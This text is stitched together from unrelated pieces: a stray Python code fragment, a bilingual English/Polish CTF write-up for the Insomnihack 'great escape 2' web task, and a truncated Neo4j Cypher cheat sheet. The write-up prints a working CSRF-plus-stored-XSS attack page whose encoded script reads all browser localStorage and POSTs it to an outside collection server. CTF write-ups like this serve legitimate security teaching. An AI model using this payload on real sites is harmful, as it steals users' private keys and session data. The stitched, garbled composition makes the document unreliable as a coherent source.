master[num2:] status=s1 and s2 and s3 and s4 if not status: print "Get out!" exit() else: print "Wellcome, master!" prepare()
sec-knowleage
# the great escape 2 (web 200) ###ENG [PL](#pl-version) We start this task in the place where we finished part 1. We have web address for `ssc.teaser.insomnihack.ch` and we have an email `rogue@ssc.teaser.insomnihack.ch` where we can send links to be visited by our victim. What we want to extract now is the private RSA key stored in the target local storage. For this purpose we need some XSS, so we can extract the key via javascript. First XSS we found where browsing through user files via REST API at `https://ssc.teaser.insomnihack.ch/api/files.php?action=list` but this proved to be useless since the target was logged-out and also we could not upload any files for him because the credentials were changed, compared to what was available in pcap. But we figured that maybe there is a similar vulnerability in a different REST endpoint, and in fact there was one, in the current user endpoint at `https://ssc.teaser.insomnihack.ch/api/user.php?action=getUser`. The vuln in both cases was that this page was rendered as HTML and not as JSON, and therefore username with HTML tags would get them rendered on this page. On top of that registering new user with POST request would actually redirect to this page automatically! So we had to get the target to enter our webpage, where we can perform CSRF request registering new user on `ssc` website, and place javascript stealing the local storage contents in the username. There are some limitations to what we can pass as parameters here so we had to encode the payload via: ```python real = ''' <script> var data = '' for (var key in localStorage){ data += localStorage.getItem(key) } var http = new XMLHttpRequest(); http.open("POST", "https://xss.p4.team/index.php", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send("data=" + data); </script> ''' payload = "<img src=/ onerror=javascript:document.write(String.fromCharCode({}));>".format(','.join([str(ord(c)) for c in real])) ``` And the whole resulting attack page was: ```html <html> <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post"> <input name="action" value="login" ></input> <input name="name" value="<img src=/ onerror=javascript:document.write(String.fromCharCode(10,32,32,32,32,60,115,99,114,105,112,116,62,10,32,32,32,32,118,97,114,32,100,97,116,97,32,61,32,39,39,10,32,32,32,32,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,10,32,32,32,32,32,32,32,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,10,32,32,32,32,125,10,32,32,32,32,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,104,116,116,112,46,111,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,115,58,47,47,120,115,115,46,112,52,46,116,101,97,109,47,105,110,100,101,120,46,112,104,112,34,44,32,116,114,117,101,41,59,10,32,32,32,32,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,116,121,112,101,34,44,32,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,59,10,32,32,32,32,104,116,116,112,46,115,101,110,100,40,34,100,97,116,97,61,34,32,43,32,100,97,116,97,41,59,10,32,32,32,32,60,47,115,99,114,105,112,116,62,10,32,32,32,32));>"> <input name="password" value="aa"> </form> </html> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function() { window.document.forms[0].submit(); }); </script> ``` Once the target got on this webpage he would register a user with our javascript payload, get redirected to result page with script executed and the local storage contents would get sent to our server. This way we extracted the RSA private key to decode binary for stage 3 and the flag `INS{IhideMyVulnsWithCrypto}` ###PL version Zaczynamy tam gdzie zakończylismy analizę części 1. Mamy adres strony `ssc.teaser.insomnihack.ch` oraz mail `rogue@ssc.teaser.insomnihack.ch` gdzie możemy wysyłać linki do odwiedzenia przez naszą ofiarę. Chcemy teraz wyciągnąć prywatny klucz RSA z local storage przeglądarki ofiary. Do tego potrzeba nam podatności XSS, żeby wyciągnąć dane za pomocą javascriptu. Pierwszy XSS jaki znaleźliśmy znajdował się w listingu plików za pomocą REST API pod `https://ssc.teaser.insomnihack.ch/api/files.php?action=list` ale to okazało się bezużyteczne, bo ofiara była wylogowana oraz nie mogliśmy dodać żadnych plików dla ofiary bo login i hasło uległy zmianie w porównaniu do tych z pcapa. Ale uznaliśmy, że może jest drugi podobny błąd w innym endpoincie REST i faktycznie był kolejny podczas wyświetlania aktualnie zalogowanego użytkownika pod `https://ssc.teaser.insomnihack.ch/api/user.php?action=getUser`. Podatność polegała w obu sytuacjach na tym, że strona wynikowa była renderowana jako HTML a nie jako JSON, więc jeśli login zawierałby jakieś tagi HTML to te zostałyby wyrenderowane na stronie. Ponaddto rejestracja nowego użytkownika żądaniem POST automatycznie przenosiła nas na tą stronę z wynikiem logowania. Musieliśmy teraz podstawić ofierze naszą stronę, na której za pomocą żądania CSRF zarejestrowalibyśmy nowego użytkownika w serwisie `ssc` a w jego loginie umieścilibyśmy javascript kradnący zawartość local storage. Były pewne ograniczenia na to co można było przekazać jako parametry więc payload był kodowany przez: ```python real = ''' <script> var data = '' for (var key in localStorage){ data += localStorage.getItem(key) } var http = new XMLHttpRequest(); http.open("POST", "https://xss.p4.team/index.php", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send("data=" + data); </script> ''' payload = "<img src=/ onerror=javascript:document.write(String.fromCharCode({}));>".format(','.join([str(ord(c)) for c in real])) ``` A cała utworzona strona ataku: ```html <html> <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post"> <input name="action" value="login" ></input> <input name="name" value="<img src=/ onerror=javascript:document.write(String.fromCharCode(10,32,32,32,32,60,115,99,114,105,112,116,62,10,32,32,32,32,118,97,114,32,100,97,116,97,32,61,32,39,39,10,32,32,32,32,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,10,32,32,32,32,32,32,32,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,10,32,32,32,32,125,10,32,32,32,32,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,104,116,116,112,46,111,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,115,58,47,47,120,115,115,46,112,52,46,116,101,97,109,47,105,110,100,101,120,46,112,104,112,34,44,32,116,114,117,101,41,59,10,32,32,32,32,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,116,121,112,101,34,44,32,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,59,10,32,32,32,32,104,116,116,112,46,115,101,110,100,40,34,100,97,116,97,61,34,32,43,32,100,97,116,97,41,59,10,32,32,32,32,60,47,115,99,114,105,112,116,62,10,32,32,32,32));>"> <input name="password" value="aa"> </form> </html> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function() { window.document.forms[0].submit(); }); </script> ``` Kiedy cel wszedł na stronę, zarejestrował użytkownika z javascriptem w loginie, został przekierowany na stronę wyników, skrypt się wykonał i na nasz serwer wysłana została zawartość local storage. W ten sposób uzyskaliśmy klucz prywatny RSA do odszyfrowania binarki dla poziomu 3 oraz flagę `INS{IhideMyVulnsWithCrypto}`
sec-knowleage
--- title: Neo4j date: 2021-08-23 12:34:56 background: bg-[#3b85ef] tags: - DB - GraphDB categories: - Database intro: | A Neo4j cheat sheet with getting started resources and information on how to query the database with Cypher. plugins: - copyCode --- Getting Started {.cols-2} --------------- ### Getting Started with Neo4j Neo4j is a Graph Database consisting of nodes connected together by relationships. You might consider using a Graph database if you have a highly connected dataset or have queries with many joins. - [Download Neo4j Desktop](https://neo4j.com/download) _download Neo4j desktop or server editions_ - [Neo4j Sandbox](https://sandbox.neo4j.com) _pick a data set - no installation required_ - [Neo4j Aura](https://neo4j.com/aura) _free Neo4j instance in the cloud_ - [Neo4j GraphAcademy](https://neo4j.com/graphacademy) _free, self-paced, hands-on online training_ - [GraphGists](https://neo4j.com/graphgists) _use ase and industry specific example graphs_ ### Graph Database Concepts | | | |-----------|-------------------------------------------------------------------------------------------------------------------| | **Nodes** | Nodes are commonly used to represent _entities_ or _things_ in your data. For example, a **Person** or **Movie** | | **Relationships** | Relationships are used to connect two nodes together and organise the data into structure. For example, a Person **acted in** a movie. A relationship has a _type_ and _direction_, although the direction can be ignored at query time. | **Labels** | Labels are used to group nodes into categories. For example, a person may have `Person` and `Actor` labels. | **Relationship Type** | Each relationship has a type. Relationships allow you to explore smaller sections of a graph. | | **Properties** | Both nodes and relationships can have properties set against them. Properties are [name-value pairs](https://neo4j.com/docs/cypher-manual/4.3/syntax/values/#cypher-values). | Neo4j Syntax ------ ### Read query structure ``` [USE] [MATCH WHERE] [OPTIONAL MATCH WHERE] [WITH [ORDER BY] [SKIP] [LIMIT]] RETURN [ORDER BY] [SKIP] [LIMIT] ``` ### Write-only query structure ``` [USE] (CREATE | MERGE)* [SET|DELETE|REMOVE|FOREACH]* [RETURN [ORDER BY] [SKIP] [LIMIT]] ``` ### Read-write query structure ``` [USE] [MATCH WHERE] [OPTIONAL MATCH WHERE] [WITH [ORDER BY] [SKIP] [LIMIT]] (CREATE | MERGE)* [SET|DELETE|REMOVE|FOREACH]* [RETURN [ORDER BY] [SKIP] [LIMIT]] ``` Neo4j Reading Data ------------ ### MATCH ``` MATCH (n:Person)-[:KNOWS]->(m:Person) WHERE n.name = 'Alice' ``` Node patterns can contain labels and properties. ``` MATCH (n)-->(m) ``` Any pattern can be used in MATCH. ``` MATCH (n {name: 'Alice'})-->(m) ``` Patterns with node properties. ``` MATCH p = (n)-->(m) ``` Assign a path to p. ``` OPTIONAL MATCH (n)-[r]->(m) ``` Optional pattern: nulls will be used for missing parts. ### WHERE ``` WHERE n.property <> $value ``` Use a predicate to filter. Note that WHERE is always part of a MATCH, OPTIONAL MATCH or WITH clause. Putting it after a different clause in a query will alter what it does. ``` WHERE EXISTS { MATCH (n)-->(m) WHERE n.age = m.age } ``` Use an existential subquery to filter. ### RETURN ``` RETURN * ``` Return the value of all variables. ``` RETURN n AS columnName ``` Use alias for result column name. ``` RETURN DISTINCT n ``` Return unique rows. ``` ORDER BY n.property ``` Sort the result. ``` ORDER BY n.property DESC ``` Sort the result in descending order. ``` SKIP $skipNumber ``` Skip a number of results. ``` LIMIT $limitNumber ``` Limit the number of results. ``` SKIP $skipNumber LIMIT $limitNumber ``` Skip results at the top and limit the number of results. ``` RETURN count(*) ``` The number of matching rows. See Aggregating functions for more. ### WITH ``` MATCH (user)-[:FRIEND]-(friend) WHERE user.name = $name WITH user, count(friend) AS friends WHERE friends > 10 RETURN user ``` The WITH syntax is similar to RETURN. It separates query parts explicitly, allowing you to declare which variables to carry over to the next part. ``` MATCH (user)-[:FRIEND]-(friend) WITH user, count(friend) AS friends ORDER BY friends DESC SKIP 1 LIMIT 3 RETURN user ``` ORDER BY, SKIP, and LIMIT can also be used with WITH. ### UNION ``` MATCH (a)-[:KNOWS]->(b) RETURN b.name UNION MATCH (a)-[:LOVES]->(b) RETURN b.name ``` Returns the distinct union of all query results. Result column types and names have to match. ``` MATCH (a)-[:KNOWS]->(b) RETURN b.name UNION ALL MATCH (a)-[:LOVES]->(b) RETURN b.name ``` Returns the union of all query results, including duplicated rows. Neo4j Writing Data ------------- ### CREATE ``` CREATE (n {name: $value}) ``` Create a node with the given properties. ``` CREATE (n $map) ``` Create a node with the given properties. ``` UNWIND $listOfMaps AS properties CREATE (n) SET n = properties ``` Create nodes with the given properties. ``` CREATE (n)-[r:KNOWS]->(m) ``` Create a relationship with the given type and direction; bind a variable to it. ``` CREATE (n)-[:LOVES {since: $value}]->(m) ``` Create a relationship with the given type, direction, and properties. ### SET ``` SET n.property1 = $value1, n.property2 = $value2 ``` Update or create a property. ``` SET n = $map ``` Set all properties. This will remove any existing properties. ``` SET n += $map ``` Add and update properties, while keeping existing ones. ``` SET n:Person ``` Adds a label Person to a node. ### MERGE ``` MERGE (n:Person {name: $value}) ON CREATE SET n.created = timestamp() ON MATCH SET n.counter = coalesce(n.counter, 0) + 1, n.accessTime = timestamp() ``` Match a pattern or create it if it does not exist. Use ON CREATE and ON MATCH for conditional updates. ``` MATCH (a:Person {name: $value1}), (b:Person {name: $value2}) MERGE (a)-[r:LOVES]->(b) ``` MERGE finds or creates a relationship between the nodes. ``` MATCH (a:Person {name: $value1}) MERGE (a)-[r:KNOWS]->(b:Person {name: $value3}) ``` MERGE finds or creates paths attached to the node. ### DELETE ``` DELETE n, r ``` Delete a node and a relationship. ``` DETACH DELETE n ``` Delete a node and all relationships connected to it. ``` MATCH (n) DETACH DELETE n ``` Delete all nodes and relationships from the database. ### REMOVE ``` REMOVE n:Person ``` Remove a label from n. ``` REMOVE n.property ``` Remove a property. ### FOREACH ``` FOREACH (r IN relationships(path) | SET r.marked = true) ``` Execute a mutating operation for each relationship in a path. ``` FOREACH (value IN coll | CREATE (:Person {name: value})) ``` Execute a mutating operation for each element in a list. ### CALL subquery ``` CALL { MATCH (p:Person)-[:FRIEND_OF]->(other:Person) RETURN p, other UNION MATCH (p:Child)-[:CHILD_OF]->(other:Parent) RETURN p, other } ``` This calls a subquery with two union parts. The result of the subquery can afterwards be post-processed. ### CALL procedure ``` CALL db.labels() YIELD label ``` This shows a standalone call to the built-in procedure db.labels to list all labels used in the database. Note that required procedure arguments are given explicitly in brackets after the procedure name. ``` CALL db.labels() YIELD * ``` Standalone calls may use YIELD * to return all columns. ``` CALL java.stored.procedureWithArgs ``` Standalone calls may omit YIELD and also provide arguments implicitly via statement parameters, e.g. a standalone call requiring one argument input may be run by passing the parameter map {input: 'foo'}. ``` CALL db.labels() YIELD label RETURN count(label) AS count ``` Calls the built-in procedure db.labels inside a larger query to count all labels used in the database. Calls inside a larger query always requires passing arguments and naming results explicitly with YIELD. ### Import ``` LOAD CSV FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists.csv' AS line CREATE (:Artist {name: line[1], year: toInteger(line[2])}) ``` Load data from a CSV file and create nodes. ``` LOAD CSV WITH HEADERS FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists-with-headers.csv' AS line CREATE (:Artist {name: line.Name, year: toInteger(line.Year)}) ``` Load CSV data which has headers. ``` USING PERIODIC COMMIT 500 LOAD CSV WITH HEADERS FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists-with-headers.csv' AS line CREATE (:Artist {name: line.Name, year: toInteger(line.Year)}) ``` Commit the current transaction after every 500 rows when importing large amounts of data. ``` LOAD CSV FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists-fieldterminator.csv' AS line FIELDTERMINATOR ';' CREATE (:Artist {name: line[1], year: toInteger(line[2])}) ``` Use a different field terminator, not the default which is a comma (with no whitespace around it). ``` LOAD CSV FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists.csv' AS line RETURN DISTINCT file() ``` Returns the absolute path of the file that LOAD CSV is processing, returns null if called outside of LOAD CSV context. ``` LOAD CSV FROM 'https://neo4j.com/docs/cypher-refcard/4.3/csv/artists.csv' AS line RETURN linenumber() ``` Returns the line number that LOAD CSV is currently processing, returns null if called outside of LOAD CSV context. ### Operators | | | |------------------------|-------------------------------------------| | **General** | DISTINCT, ., [] | | **Mathematical** | +, -, *, /, %, ^ | | **Comparison** | =, <>, <, >, <=, >=, IS NULL, IS NOT NULL | | **Boolean** | AND, OR, XOR, NOT | | **String** | + | | **List** | +, IN, [x], [x .. y] | | **Regular Expression** | =~ | | **String matching** | STARTS WITH, ENDS WITH, CONTAINS | ### null * `null` is used to represent missing/undefined values. * `null` is not equal to `null`. Not knowing two values does not imply that they are the same value. So the expression `null = null` yields `null` and not `true`. To check if an expression is `null`, use `IS NULL`. * Arithmetic expressions, comparisons and function calls (except `coalesce`) will return `null` if any argument is `null`. * An attempt to access a missing element in a list or a property that doesn’t exist yields `null`. * In `OPTIONAL MATCH` clauses, `nulls` will be used for missing parts of the pattern. ### Patterns ``` (n:Person) ``` Node with Person label. ``` (n:Person:Swedish) ``` Node with both Person and Swedish labels. ``` (n:Person {name: $value}) ``` Node with the declared properties. ``` ()-[r {name: $value}]-() ``` Matches relationships with the declared properties. ``` (n)-->(m) ``` Relationship from n to m. ``` (n)--(m) ``` Relationship in any direction between n and m. ``` (n:Person)-->(m) ``` Node n labeled Person with relationship to m. ``` (m)<-[:KNOWS]-(n) ``` Relationship of type KNOWS from n to m. ``` (n)-[:KNOWS|:LOVES]->(m) ``` Relationship of type KNOWS or of type LOVES from n to m. ``` (n)-[r]->(m) ``` Bind the relationship to variable r. ``` (n)-[*1..5]->(m) ``` Variable length path of between 1 and 5 relationships from n to m. ``` (n)-[*]->(m) ``` Variable length path of any number of relationships from n to m. (See Performance section.) ``` (n)-[:KNOWS]->(m {property: $value}) ``` A relationship of type KNOWS from a node n to a node m with the declared property. ``` shortestPath((n1:Person)-[*..6]-(n2:Person)) ``` Find a single shortest path. ``` allShortestPaths((n1:Person)-[*..6]->(n2:Person)) ``` Find all shortest paths. ``` size((n)-->()-->()) ``` Count the paths matching the pattern. ### USE ``` USE myDatabase ``` Select myDatabase to execute query, or query part, against. ``` USE neo4j MATCH (n:Person)-[:KNOWS]->(m:Person) WHERE n.name = 'Alice' ``` MATCH query executed against neo4j database. ### SHOW FUNCTIONS and PROCEDURES ``` SHOW FUNCTIONS ``` Listing all available functions. ``` SHOW PROCEDURES EXECUTABLE YIELD name ``` List all procedures that can be executed by the current user and return only the name of the procedures. ### Labels ``` CREATE (n:Person {name: $value}) ``` Create a node with label and property. ``` MERGE (n:Person {name: $value}) ``` Matches or creates unique node(s) with the label and property. ``` SET n:Spouse:Parent:Employee ``` Add label(s) to a node. ``` MATCH (n:Person) ``` Matches nodes labeled Person. ``` MATCH (n:Person) WHERE n.name = $value ``` Matches nodes labeled Person with the given name. ``` WHERE (n:Person) ``` Checks the existence of the label on the node. ``` labels(n) ``` Labels of the node. ``` REMOVE n:Person ``` Remove the label from the node. ### Lists ``` ['a', 'b', 'c'] AS list ``` Literal lists are declared in square brackets. ``` size($list) AS len, $list[0] AS value ``` Lists can be passed in as parameters. ``` range($firstNum, $lastNum, $step) AS list ``` range() creates a list of numbers (step is optional), other functions returning lists are: labels(), nodes(), relationships(). ``` MATCH p = (a)-[:KNOWS*]->() RETURN relationships(p) AS r ``` The list of relationships comprising a variable length path can be returned using named paths and relationships(). ``` RETURN matchedNode.list[0] AS value, size(matchedNode.list) AS len ``` Properties can be lists of strings, numbers or booleans. ``` list[$idx] AS value, list[$startIdx..$endIdx] AS slice ``` List elements can be accessed with idx subscripts in square brackets. Invalid indexes return null. Slices can be retrieved with intervals from start_idx to end_idx, each of which can be omitted or negative. Out of range elements are ignored. ``` UNWIND $names AS name MATCH (n {name: name}) RETURN avg(n.age) ``` With UNWIND, any list can be transformed back into individual rows. The example matches all names from a list of names. ``` MATCH (a) RETURN [(a)-->(b) WHERE b.name = 'Bob' | b.age] ``` Pattern comprehensions may be used to do a custom projection from a match directly into a list. ``` MATCH (person) RETURN person { .name, .age} ``` Map projections may be easily constructed from nodes, relationships and other map values. ### Maps ``` {name: 'Alice', age: 38, address: {city: 'London', residential: true}} ``` Literal maps are declared in curly braces much like property maps. Lists are supported. ``` WITH {person: {name: 'Anne', age: 25}} AS p RETURN p.person.name ``` Access the property of a nested map. ``` MERGE (p:Person {name: $map.name}) ON CREATE SET p = $map ``` Maps can be passed in as parameters and used either as a map or by accessing keys. ``` MATCH (matchedNode:Person) RETURN matchedNode ``` Nodes and relationships are returned as maps of their data. ``` map.name, map.age, map.children[0] ``` Map entries can be accessed by their keys. Invalid keys result in an error. ### Predicates ``` n.property <> $value ``` Use comparison operators. ``` toString(n.property) = $value ``` Use functions. ``` n.number >= 1 AND n.number <= 10 ``` Use boolean operators to combine predicates. ``` 1 <= n.number <= 10 ``` Use chained operators to combine predicates. ``` n:Person ``` Check for node labels. ``` variable IS NOT NULL ``` Check if something is not null, e.g. that a property exists. ``` n.property IS NULL OR n.property = $value ``` Either the property does not exist or the predicate is true. ``` n.property = $value ``` Non-existing property returns null, which is not equal to anything. ``` n["property"] = $value ``` Properties may also be accessed using a dynamically computed property name. ``` n.property STARTS WITH 'Tim' OR n.property ENDS WITH 'n' OR n.property CONTAINS 'goodie' ``` String matching. ``` n.property =~ 'Tim.*' ``` String regular expression matching. ``` (n)-[:KNOWS]->(m) ``` Ensure the pattern has at least one match. ``` NOT (n)-[:KNOWS]->(m) ``` Exclude matches to (n)-[:KNOWS]->(m) from the result. ``` n.property IN [$value1, $value2] ``` Check if an element exists in a list. ### List predicates ``` all(x IN coll WHERE x.property IS NOT NULL) ``` Returns true if the predicate is true for all elements in the list. ``` any(x IN coll WHERE x.property IS NOT NULL) ``` Returns true if the predicate is true for at least one element in the list. ``` none(x IN coll WHERE x.property IS NOT NULL) ``` Returns true if the predicate is false for all elements in the list. ``` single(x IN coll WHERE x.property IS NOT NULL) ``` Returns true if the predicate is true for exactly one element in the list. ### CASE ``` CASE n.eyes WHEN 'blue' THEN 1 WHEN 'brown' THEN 2 ELSE 3 END ``` Return THEN value from the matching WHEN value. The ELSE value is optional, and substituted for null if missing. ``` CASE WHEN n.eyes = 'blue' THEN 1 WHEN n.age < 40 THEN 2 ELSE 3 END ``` Return THEN value from the first WHEN predicate evaluating to true. Predicates are evaluated in order. ### List expressions ``` size($list) ``` Number of elements in the list. ``` reverse($list) ``` Reverse the order of the elements in the list. ``` head($list), last($list), tail($list) ``` head() returns the first, last() the last element of the list. tail() returns all but the first element. All return null for an empty list. ``` [x IN list | x.prop] ``` A list of the value of the expression for each element in the original list. ``` [x IN list WHERE x.prop <> $value] ``` A filtered list of the elements where the predicate is true. ``` [x IN list WHERE x.prop <> $value | x.prop] ``` A list comprehension that filters a list and extracts the value of the expression for each element in that list. ``` reduce(s = "", x IN list | s + x.prop) ``` Evaluate expression for each element in the list, accumulate the results. ### Functions ``` coalesce(n.property, $defaultValue) ``` The first non-null expression. ``` timestamp() ``` Milliseconds since midnight, January 1, 1970 UTC. ``` id(nodeOrRelationship) ``` The internal id of the relationship or node. ``` toInteger($expr) ``` Converts the given input into an integer if possible; otherwise it returns null. ``` toFloat($expr) ``` Converts the given input into a floating point number if possible; otherwise it returns null. ``` toBoolean($expr) ``` Converts the given input into a boolean if possible; otherwise it returns null. ``` keys($expr) ``` Returns a list of string representations for the property names of a node, relationship, or map. ``` properties($expr) ``` Returns a map containing all the properties of a node or relationship. ### Path functions ``` length(path) ``` The number of relationships in the path. ``` nodes(path) ``` The nodes in the path as a list. ``` relationships(path) ``` The relationships in the path as a list. ``` [x IN nodes(path) | x.prop] ``` Extract properties from the nodes in a path. ### Spatial functions ``` point({x: $x, y: $y}) ``` Returns a point in a 2D cartesian coordinate system. ``` point({latitude: $y, longitude: $x}) ``` Returns a point in a 2D geographic coordinate system, with coordinates specified in decimal degrees. ``` point({x: $x, y: $y, z: $z}) ``` Returns a point in a 3D cartesian coordinate system. ``` point({latitude: $y, longitude: $x, height: $z}) ``` Returns a point in a 3D geographic coordinate system, with latitude and longitude in decimal degrees, and height in meters. ``` distance(point({x: $x1, y: $y1}), point({x: $x2, y: $y2})) ``` Returns a floating point number representing the linear distance between two points. The returned units will be the same as those of the point coordinates, and it will work for both 2D and 3D cartesian points. ``` distance(point({latitude: $y1, longitude: $x1}), point({latitude: $y2, longitude: $x2})) ``` Returns the geodesic distance between two points in meters. It can be used for 3D geographic points as well. Neo4j Functions --------- ### Temporal functions ``` date("2018-04-05") ``` Returns a date parsed from a string. ``` localtime("12:45:30.25") ``` Returns a time with no time zone. ``` time("12:45:30.25+01:00") ``` Returns a time in a specified time zone. ``` localdatetime("2018-04-05T12:34:00") ``` Returns a datetime with no time zone. ``` datetime("2018-04-05T12:34:00[Europe/Berlin]") ``` Returns a datetime in the specified time zone. ``` datetime({epochMillis: 3360000}) ``` Transforms 3360000 as a UNIX Epoch time into a normal datetime. ``` date({year: $year, month: $month, day: $day}) ``` All of the temporal functions can also be called with a map of named components. This example returns a date from year, month and day components. Each function supports a different set of possible components. ``` datetime({date: $date, time: $time}) ``` Temporal types can be created by combining other types. This example creates a datetime from a date and a time. ``` date({date: $datetime, day: 5}) ``` Temporal types can be created by selecting from more complex types, as well as overriding individual components. This example creates a date by selecting from a datetime, as well as overriding the day component. ``` WITH date("2018-04-05") AS d RETURN d.year, d.month, d.day, d.week, d.dayOfWeek ``` Accessors allow extracting components of temporal types. ### Duration functions ``` duration("P1Y2M10DT12H45M30.25S") ``` Returns a duration of 1 year, 2 months, 10 days, 12 hours, 45 minutes and 30.25 seconds. ``` duration.between($date1,$date2) ``` Returns a duration between two temporal instances. ``` WITH duration("P1Y2M10DT12H45M") AS d RETURN d.years, d.months, d.days, d.hours, d.minutes ``` Returns 1 year, 14 months, 10 days, 12 hours and 765 minutes. ``` WITH duration("P1Y2M10DT12H45M") AS d RETURN d.years, d.monthsOfYear, d.days, d.hours, d.minutesOfHour ``` Returns 1 year, 2 months, 10 days, 12 hours and 45 minutes. ``` date("2015-01-01") + duration("P1Y1M1D") ``` Returns a date of 2016-02-02. It is also possible to subtract durations from temporal instances. ``` duration("PT30S") * 10 ``` Returns a duration of 5 minutes. It is also possible to divide a duration by a number. ### Mathematical functions ``` abs($expr) ``` The absolute value. ``` rand() ``` Returns a random number in the range from 0 (inclusive) to 1 (exclusive), [0,1). Returns a new value for each call. Also useful for selecting a subset or random ordering. ``` round($expr) ``` Round to the nearest integer; ceil() and floor() find the next integer up or down. ``` sqrt($expr) ``` The square root. ``` sign($expr) ``` 0 if zero, -1 if negative, 1 if positive. ``` sin($expr) ``` Trigonometric functions also include cos(), tan(), cot(), asin(), acos(), atan(), atan2(), and haversin(). All arguments for the trigonometric functions should be in radians, if not otherwise specified. ``` degrees($expr), radians($expr), pi() ``` Converts radians into degrees; use radians() for the reverse, and pi() for π. ``` log10($expr), log($expr), exp($expr), e() ``` Logarithm base 10, natural logarithm, e to the power of the parameter, and the value of e. ### String functions ``` toString($expression) ``` String representation of the expression. ``` replace($original, $search, $replacement) ``` Replace all occurrences of search with replacement. All arguments must be expressions. ``` substring($original, $begin, $subLength) ``` Get part of a string. The subLength argument is optional. ``` left($original, $subLength), right($original, $subLength) ``` The first part of a string. The last part of the string. ``` trim($original), lTrim($original), rTrim($original) ``` Trim all whitespace, or on the left or right side. ``` toUpper($original), toLower($original) ``` UPPERCASE and lowercase. ``` split($original, $delimiter) ``` Split a string into a list of strings. ``` reverse($original) ``` Reverse a string. ``` size($string) ``` Calculate the number of characters in the string. ### Relationship functions ``` type(a_relationship) ``` String representation of the relationship type. ``` startNode(a_relationship) ``` Start node of the relationship. ``` endNode(a_relationship) ``` End node of the relationship. ``` id(a_relationship) ``` The internal id of the relationship. ### Aggregating functions ``` count(*) ``` The number of matching rows. ``` count(variable) ``` The number of non-null values. ``` count(DISTINCT variable) ``` All aggregating functions also take the DISTINCT operator, which removes duplicates from the values. ``` collect(n.property) ``` List from the values, ignores null. ``` sum(n.property) ``` Sum numerical values. Similar functions are avg(), min(), max(). ``` percentileDisc(n.property, $percentile) ``` Discrete percentile. Continuous percentile is percentileCont(). The percentile argument is from 0.0 to 1.0. ``` stDev(n.property) ``` Standard deviation for a sample of a population. For an entire population use stDevP(). Neo4j Schema Operations ------ ### INDEX ``` CREATE INDEX FOR (p:Person) ON (p.name) ``` Create an index on nodes with label Person and property name. ``` CREATE INDEX index_name FOR ()-[k:KNOWS]-() ON (k.since) ``` Create an index on relationships with type KNOWS and property since with the name index_name. ``` CREATE INDEX FOR (p:Person) ON (p.surname) OPTIONS {indexProvider: 'native-btree-1.0', indexConfig: {`spatial.cartesian.min`: [-100.0, -100.0], `spatial.cartesian.max`: [100.0, 100.0]}} ``` Create an index on nodes with label Person and property surname with the index provider native-btree-1.0 and given spatial.cartesian settings. The other index settings will have their default values. ``` CREATE INDEX FOR (p:Person) ON (p.name, p.age) ``` Create a composite index on nodes with label Person and the properties name and age, throws an error if the index already exist. ``` CREATE INDEX IF NOT EXISTS FOR (p:Person) ON (p.name, p.age) ``` Create a composite index on nodes with label Person and the properties name and age if it does not already exist, does nothing if it did exist. ``` CREATE LOOKUP INDEX lookup_index_name FOR (n) ON EACH labels(n) ``` Create a token lookup index with the name lookup_index_name on nodes with any label . ``` CREATE LOOKUP INDEX FOR ()-[r]-() ON EACH type(r) ``` Create a token lookup index on relationships with any relationship type. ``` CREATE FULLTEXT INDEX node_fulltext_index_name FOR (n:Friend) ON EACH [n.name] OPTIONS {indexConfig: {`fulltext.analyzer`: 'swedish'}} ``` Create a fulltext index on nodes with the name node_fulltext_index_name and analyzer swedish. Fulltext indexes on nodes can only be used by from the procedure db.index.fulltext.queryNodes. The other index settings will have their default values. ``` CREATE FULLTEXT INDEX rel_fulltext_index_name FOR ()-[r:HAS_PET|BROUGHT_PET]-() ON EACH [r.since, r.price] ``` Create a fulltext index on relationships with the name rel_fulltext_index_name. Fulltext indexes on relationships can only be used by from the procedure db.index.fulltext.queryRelationships. ``` SHOW INDEXES ``` List all indexes. ``` MATCH (n:Person) WHERE n.name = $value ``` An index can be automatically used for the equality comparison. Note that for example toLower(n.name) = $value will not use an index. ``` MATCH (n:Person) WHERE n.name IN [$value] ``` An index can automatically be used for the IN list checks. ``` MATCH (n:Person) WHERE n.name = $value and n.age = $value2 ``` A composite index can be automatically used for equality comparison of both properties. Note that there needs to be predicates on all properties of the composite index for it to be used. ``` MATCH (n:Person) USING INDEX n:Person(name) WHERE n.name = $value ``` Index usage can be enforced when Cypher uses a suboptimal index, 